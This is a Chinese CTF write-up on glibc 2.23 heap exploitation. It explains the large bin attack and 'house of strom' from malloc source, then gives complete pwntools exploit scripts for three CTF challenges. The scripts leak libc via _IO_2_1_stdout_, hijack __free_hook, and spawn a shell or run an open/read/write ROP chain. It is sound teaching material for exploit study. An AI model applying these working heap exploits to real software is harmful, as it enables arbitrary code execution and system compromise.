large bin attack & house of strom
large bin attack是一种堆利用手法,而house of strom则是在large bin attack的基础上借用unsorted bin来达到任意地址分配,首先我们从源码入手来分析large bin attack原理,然后再讲讲house of strom的原理,接着再看几个题目。
为例方便分析,以2.23为例,新版本有tcache的情况类似,只需填满tcache bin绕过tcache即可。
在free的时候,chunk要么被放入fastbin,要么就被放到unsorted bin。当我们再次malloc的时候,如果对unsorted bin做了遍历,unsorted bin里的chunk才会被放到对应的bin里,比如large bin、small bin。比如我在unsorted bin里有一个size为0x420的chunk,那么它会被放到对应的large bin里。而large bin attack就是利用了unsorted bin里未归位的chunk插入到large bin时的解链、成链操作。来看一段malloc中的源码
- for (;; )
- {
- int iters = 0;
- while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) //遍历unsorted bin
- {
- bck = victim->bk;
- if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
- || __builtin_expect (victim->size > av->system_mem, 0))
- malloc_printerr (check_action, "malloc(): memory corruption",
- chunk2mem (victim), av);
- size = chunksize (victim); //获得当前unsorted bin chunk的大小
- ..........................
- if (in_smallbin_range (size))
- {
- victim_index = smallbin_index (size);
- bck = bin_at (av, victim_index);
- fwd = bck->fd;
- }
- else //属于large bin范围
- {
- victim_index = largebin_index (size); //根据size,得到对应的large bin索引
- bck = bin_at (av, victim_index); //获取对应索引的large bin里的最后一个chunk
- fwd = bck->fd; //获得对应索引的large bin的第一个chunk
- /* maintain large bins in sorted order */
- if (fwd != bck) //这意味着当前索引的large bin里chunk不为空
- {
- /* Or with inuse bit to speed comparisons */
- size |= PREV_INUSE;
- /* if smaller than smallest, bypass loop below */
- assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
- if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
- {
- fwd = bck;
- bck = bck->bk;
- victim->fd_nextsize = fwd->fd;
- victim->bk_nextsize = fwd->fd->bk_nextsize;
- fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
- }
- else
- {
- assert ((fwd->size & NON_MAIN_ARENA) == 0);
- while ((unsigned long) size < fwd->size)
- {
- fwd = fwd->fd_nextsize;
- assert ((fwd->size & NON_MAIN_ARENA) == 0);
- }
- if ((unsigned long) size == (unsigned long) fwd->size)
- /* Always insert in the second position. */
- fwd = fwd->fd;
- else
- {
- victim->fd_nextsize = fwd;
- victim->bk_nextsize = fwd->bk_nextsize; //fwd->bk_nextsize可控,因此victim->bk_nextsize可控
- fwd->bk_nextsize = victim;
- victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址
- }
- bck = fwd->bk; //bk也就是large bin的bk位置的数据,因此bck可控
- }
- }
- else
- victim->fd_nextsize = victim->bk_nextsize = victim;
- }
- mark_bin (av, victim_index);
- victim->bk = bck;
- victim->fd = fwd;
- fwd->bk = victim;
- bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址
- define MAX_ITERS 10000
- if (++iters >= MAX_ITERS)
- break;
- }
首先,victim就是unsorted bin chunk,也就在unsorted bin里未归位的large bin chunk。而fwd就是large bin的chunk。从上来看,首先,在unsorted bin里我们得有一个large bin chunk,并且在large bin里,我们也要有一个chunk,但是,我们得保证unsorted bin里的那个large bin chunk的size要比large bin里已有的这个chunk的size要大一点,但是都属于同一个index。
这样做的目的是我们想绕过前面的这一大块,直接到后面的那个else处。
然后,假设我们通过UAF或其他漏洞,控制了large bin里的这个chunk的bk_nextsize为addr1,那么victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址 也就是addr1->fd_nextsize = victim,也就是*(addr1+0x20) = victim,这就是第一次任意地址写一个堆地址;接下来,假如,我们还能控制large bin里那个chunk的bk为addr2,那么首先bck = fwd->bk; 使得bck = addr2,接下来bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址 也就是addr2->fd = victim,也就是*(addr2+0x10) = victim。这样利用large bin attack,我们可以有两次往任意地址写入堆地址的机会。下面,我们就来看一道题。
starctf_2019_heap_master
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
初始化
add函数
delete函数
edit函数
可以看到,这里面的edit,delete操作,都只是针对mmap出来的那片空间,而malloc出来的空间我们控制不了,无法写数据过去。也没有函数用于泄露。由此,我们可以使用large bin attack攻击IO_2_1_stdout结构体,第一次,将IO_2_1_stdout结构体的flags覆盖为堆地址,第二次利用错位将IO_2_1_stdout的_IO_write_base成员低1字节覆盖为0,这样就能泄露数据了。还有一点需要注意的是这个flags有要求
首先,我们需要绕过这两个if,这就要求低1字节的低4位不能为8,第二字节的低4位必须要为8,也就是,我们的unsorted bin chunk地址末尾地址应该为0x800这样
接下来,到达new_do_write,我们要让这个if成立
综上,我们的unsorted bin chunk的地址某位应该是这样的0x1800、0x3800、0x5800…这样的第二字节高4位为奇数即可,由于堆地址随机化,因此第二字节高4位我们不用管,随着堆的随机化总有一次符合要求。我们只需要满足低12bit即可,也就是,这个未归位的unsorted bin chunk,我们需要放到偏移0x800处。并且在最后,我们还需要再链入一个小的unsorted bin,不然我们执行了large bin attack后,在unsorted bin里还没找到符合申请大小的chunk,就会把large bin切割,导致崩溃。
- #伪造8个chunk
- #0
- edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)
- #1
- edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)
- #2
- edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)
- #3
- edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)
- #4
- edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)
- #5
- edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)
- #6
- edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)
- #7
- edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)
如上,0将放入large bin,而3将作为在unsorted bin里未归位的large bin chunk,5将链入unsorted bin作为large bin attack以后的申请用。这样攻击了IO_2_1_stdout以后,我们就得到了glibc地址,然后,我们就可以利用house of orange来getshell了。
#coding:utf8
from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']def add(size):sh.sendlineafter('>>','1')sh.sendlineafter('size:',str(size))def edit(offset,size,content):sh.sendlineafter('>>','2')sh.sendlineafter('offset:',str(offset))sh.sendlineafter('size:',str(size))sh.sendafter('content:',content)def delete(offset):sh.sendlineafter('>>','3')sh.sendlineafter('offset:',str(offset))def exploit():#伪造8个chunk#0edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)#1edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)#2edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)#3edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)#4edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)#5edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)#6edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)#7edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)#0进入unsored bindelete(0x10)#malloc_consolidate将0放入large binadd(0x430)#接下来,为了在bk和bk_nextsize处都有libc指针,我们要继续伪造unsorted bin#在bk_nextsize处留下libc指针edit(0x10,0xF0,p64(0) + p64(0x91) + 'a'*0x80 + (p64(0) + p64(0x21) + 'a'*0x10) * 3)delete(0x20)add(0x80) #把unsorted bin申请掉#在bk留下libc指针edit(0,0x10,p64(0) + p64(0xC1))delete(0x10)add(0xB0) #把unsorted bin申请掉#修改large bin的bk,指向stdoutedit(0x10,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s - 0x10) & 0xFFF)))#修改large bin的bk_nextsizeedit(0x20,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s + 0x20 - 0x20 - 0x7) & 0xFFF)))#恢复large bin的头sizeedit(0,0x10,p64(0) + p64(0x421))#3放入unsorted bin,3属于未归位的large bindelete(0x890)#0x90的堆放入unsorted bindelete(0xCE0)#遍历unsorted bin时发生large bin attack,攻击io_2_1_stdoutadd(0x80)sh.recv(1)sh.recv(0x18)libc_base = u64(sh.recv(8)) - libc.symbols['_IO_file_jumps']print 'libc_base=',hex(libc_base)if libc_base >> 40 != 0x7F:raise Exception('leak error')_IO_list_all_addr = libc_base + libc.symbols['_IO_list_all']system_addr = libc_base + libc.sym['system']binsh_addr = libc_base + libc.search('/bin/sh').next()_IO_str_finish_ptr_addr = libc_base + 0x3C37B0print '_IO_list_all_addr=',hex(_IO_list_all_addr)print '_IO_str_finish_ptr_addr=',hex(_IO_str_finish_ptr_addr)print 'system_addr=',hex(system_addr)print 'binsh_addr=',hex(binsh_addr)#house of orangefake_file = p64(0) + p64(0x61) #unsorted bin attackfake_file += p64(0) + p64(_IO_list_all_addr - 0x10)#_IO_write_base < _IO_write_ptrfake_file += p64(0) + p64(1)fake_file += p64(0) + p64(binsh_addr)fake_file = fake_file.ljust(0xC0,'\x00')fake_file += p64(0)*3fake_file += p64(_IO_str_finish_ptr_addr - 0x18) #vtablefake_file += p64(0)fake_file += p64(system_addr)delete(0xCE0) #unsorted binedit(0xCD0,len(fake_file),fake_file) #修改unsorted bin内容#getshelladd(1)while True:try:global sh#sh = process('./starctf_2019_heap_master')sh = remote('node3.buuoj.cn',29960)exploit()sh.interactive()except:sh.close()print 'trying...'
house of strom
理解了large bin attack,接下来,我们就可以来看house of strom了,house of strom可以实现任意地址分配,看看前面的这道题,我们是将一个合法的unsorted bin chunk链接到unsorted bin里未归位的large bin chunk的bk处,假设,我们将一个任意地址比如addr链接到unsorted bin里未归位的large bin chunk的bk处,然后执行large bin attack会发生什么。
那么,在large bin attack阶段不会有问题,只是接下来,继续遍历,取到我们链接上的这个chunk时,检查其size,不符合要求然后崩溃。我们可以利用前面的large bin attack,先将addr处的size的位置写上一个堆指针,我们可以利用错位法,这样,在size处留下了chunk地址值的第6字节数据,在开启PIE的情况下,一般为0x55为0x56,这样,我们malloc(0x40),遍历到第一个未归位的large bin chunk时,发生large bin attack,接下来遍历到后面这个任意地址的chunk时,发现size符合要求,直接返回给用户,就可以成功把这个任意地址的空间申请过来。
这就是house of strom的原理。
我们来看两道题
rctf_2019_babyheap
首先,检查一下程序的保护机制
沙箱禁用了execve调用,因此我们只能使用open、read、write来读flag
然后,我们用IDA分析一下,禁用fastbin,因此不能使用fastbin attack。
Edit功能存在null off by one漏洞。
Add功能里size比较自由
首先就是利用null off by one构造overlap chunk,然后利用malloc_consolidate将一个chunk放到large bin,另一个放到unsorted bin,然后利用overlap chunk去控制这两个bin的指针。然后malloc(0x48)触发large bin attack的同时将会把任意地址申请过来。
我们用house of strom申请到free_hook处,劫持free_hook为setcontext+xx处,这样就能将栈切换到堆里,我们提前在堆里布置好rop即可。
#coding:utf8
from pwn import *context(os='linux',arch='amd64')
#sh = process('./rctf_2019_babyheap')
sh = remote('node3.buuoj.cn',28529)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
setcontext_s = libc.sym['setcontext']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']def add(size):sh.sendlineafter('Choice:','1')sh.sendlineafter('Size:',str(size))def edit(index,content):sh.sendlineafter('Choice:','2')sh.sendlineafter('Index:',str(index))sh.sendafter('Content:',content)def delete(index):sh.sendlineafter('Choice:','3')sh.sendlineafter('Index:',str(index))def show(index):sh.sendlineafter('Choice:','4')sh.sendlineafter('Index:',str(index))add(0xF0) #0
add(0x38) #1
add(0x3F0) #2 large bin chunk
add(0x10) #3
add(0xF0) #4
add(0x48) #5
add(0x3F0) #6 large bin chunk
add(0x100) #7delete(0)
#null off by one
edit(1,'a'*0x30 + p64(0x40 + 0x100))
delete(2)
add(0xF0) #0
show(1)
sh.recv(1)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
setcontext_addr = libc_base + setcontext_s
write_addr = libc_base + write_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'setcontext_addr=',hex(setcontext_addr)
#将剩余部分申请,现在2与1重合
add(0x430) #2#继续用同样的方法,构造一个未归位的large bin,并且比前一个大一些,但是要保证处于同一个index内
delete(4)
edit(5,'b'*0x40 + p64(0x50 + 0x100))
delete(6)
add(0xF0) #4
#将剩余部分申请,5与6重合
add(0x440) #6
#2放入unsorted bin
delete(2)
#2放入large bin
add(0x500) #2
#6放入unsorted bin
delete(6)
#现在,堆布局是unsorted bin里一个未归位的large bin,large bin里有一个chunk,且unsorted bin里的比large bin里的大
#将free_hook_addr链接到unsorted bin chunk的bk
fake_chunk = free_hook_addr - 0x10
edit(5,p64(0) + p64(fake_chunk))
#控制large bin的bk_nextsize,目的是解链时向bk_nextsize->fd_nextsize写入一个堆地址,我们可以以此来伪造size
payload = p64(0) + p64(fake_chunk + 0x8) #bk,只需保证是一个可写的地址即可
payload += p64(0) + p64(fake_chunk - 0x18 - 0x5)
edit(1,payload)
##触发house of storm,申请到free_hook处
add(0x48) #6
#写free_hook,栈迁移到堆里
'''mov rsp, [rdi+0A0h]
...'''
rop = p64(0) + p64(pop_rsi) + p64(free_hook_addr + 0x40) + p64(pop_rdx) + p64(0x200) + p64(read_addr)
payload = p64(setcontext_addr + 0x35) + '\x00'*0x8
payload += rop
edit(6,payload)
#设置0xA0偏移处的值
edit(7,'a'*0xA0 + p64(free_hook_addr + 0x10) + p64(pop_rdi))
#栈迁移到free_hook_addr + 0x10,执行read,继续输入后续rop
delete(7)
flag_addr = free_hook_addr + 0x40 + 0x98
rop2 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop2 += '/flag\x00'sleep(1)
sh.send(rop2)sh.interactive()
0ctf_2018_heapstorm2
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
存在一个null off by one漏洞,但是prev_size不可控。
由此,我们可以使用shrink unsorted bin的方法来构造overlap chunk。
Show功能需要满足条件才能使用
因此,我们需要利用house of strom申请到堆指针数组处,也就是0x13370800这个地址处,然后控制其里面的数据,使得我们能够调用show,进而泄露地址,然后通过edit去修改free_hook,从而getshell。
#coding:utf8
from pwn import *sh = process('./0ctf_2018_heapstorm2')
#sh = remote('node3.buuoj.cn',26323)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.sym['__malloc_hook']
free_hook_s = libc.sym['__free_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()def add(size):sh.sendlineafter('Command:','1')sh.sendlineafter('Size:',str(size))def edit(index,size,content):sh.sendlineafter('Command:','2')sh.sendlineafter('Index:',str(index))sh.sendlineafter('Size:',str(size))sh.sendafter('Content:',content)def delete(index):sh.sendlineafter('Command:','3')sh.sendlineafter('Index:',str(index))def show(index):sh.sendlineafter('Command:','4')sh.sendlineafter('Index:',str(index))add(0x18) #0
add(0x410) #1
add(0x80) #2
add(0x18) #3
add(0x420) #4
add(0x80) #5
add(0x10) #6#伪造chunk 1的尾部
edit(1,0x400,'b'*0x3F0 + p64(0x400) + p64(0x21))
#1放入unsorted bin
delete(1)
#null off by one shrink unsorted bin
edit(0,0x18-0xC,'a'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #1
add(0x360) #7
#1放入unsorted bin
delete(1)
#2向前合并
delete(2)
add(0x80) #1 将unsorted bin指针移动到下一个chunk
#将0x420的chunk申请出来,待会儿再放入large bin
add(0x410) #2
#我们用同样的方法来构造一个大一些的large bin
edit(4,0x400,'d'*0x3F0 + p64(0x400) + p64(0x31))
#4放入unsorted bin
delete(4)
#null off by one shrink unsorted bin
edit(3,0x18-0xC,'c'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #4
add(0x360) #8
#4放入unsorted bin
delete(4)
#5向前合并
delete(5)
add(0x80) #4
#将0x430的chunk申请出来,待会儿再放入unsorted bin
add(0x420) #5
#将2放入large bin,通过7我们可以large bin
delete(2)
add(0x500) #2
#5放入unsorted bin,通过8,我们可以控制一个未归位的large bin
delete(5)
#我们要分配到的目的地
fake_chunk = 0x0000000013370800 - 0x10
#控制unsorted bin相关指针
edit(8,0x10,p64(0) + p64(fake_chunk))
#控制large bin相关指针
edit(7,0x20,p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 -0x5))
add(0x48) #5
#通过5,我们可以控制整个堆指针数组了
edit(5,0x30,p64(0)*2 + p64(0x13377331) + p64(0) + p64(fake_chunk + 0x40) + p64(0x48))edit(0,0x10,p64(0x00000000133707F3) + p64(0x8))
#泄露堆地址
show(1)
sh.recvuntil('Chunk[1]: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露lib指针
edit(0,0x10,p64(heap_addr + 0x10) + p64(0x8))
show(1)
sh.recvuntil('Chunk[1]: ')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
edit(0,0x10,p64(free_hook_addr) + p64(0x8))
#写free_hook
edit(1,0x8,p64(system_addr))
edit(0,0x10,p64(binsh_addr) + p64(0x8))
#getshell
delete(1)sh.interactive()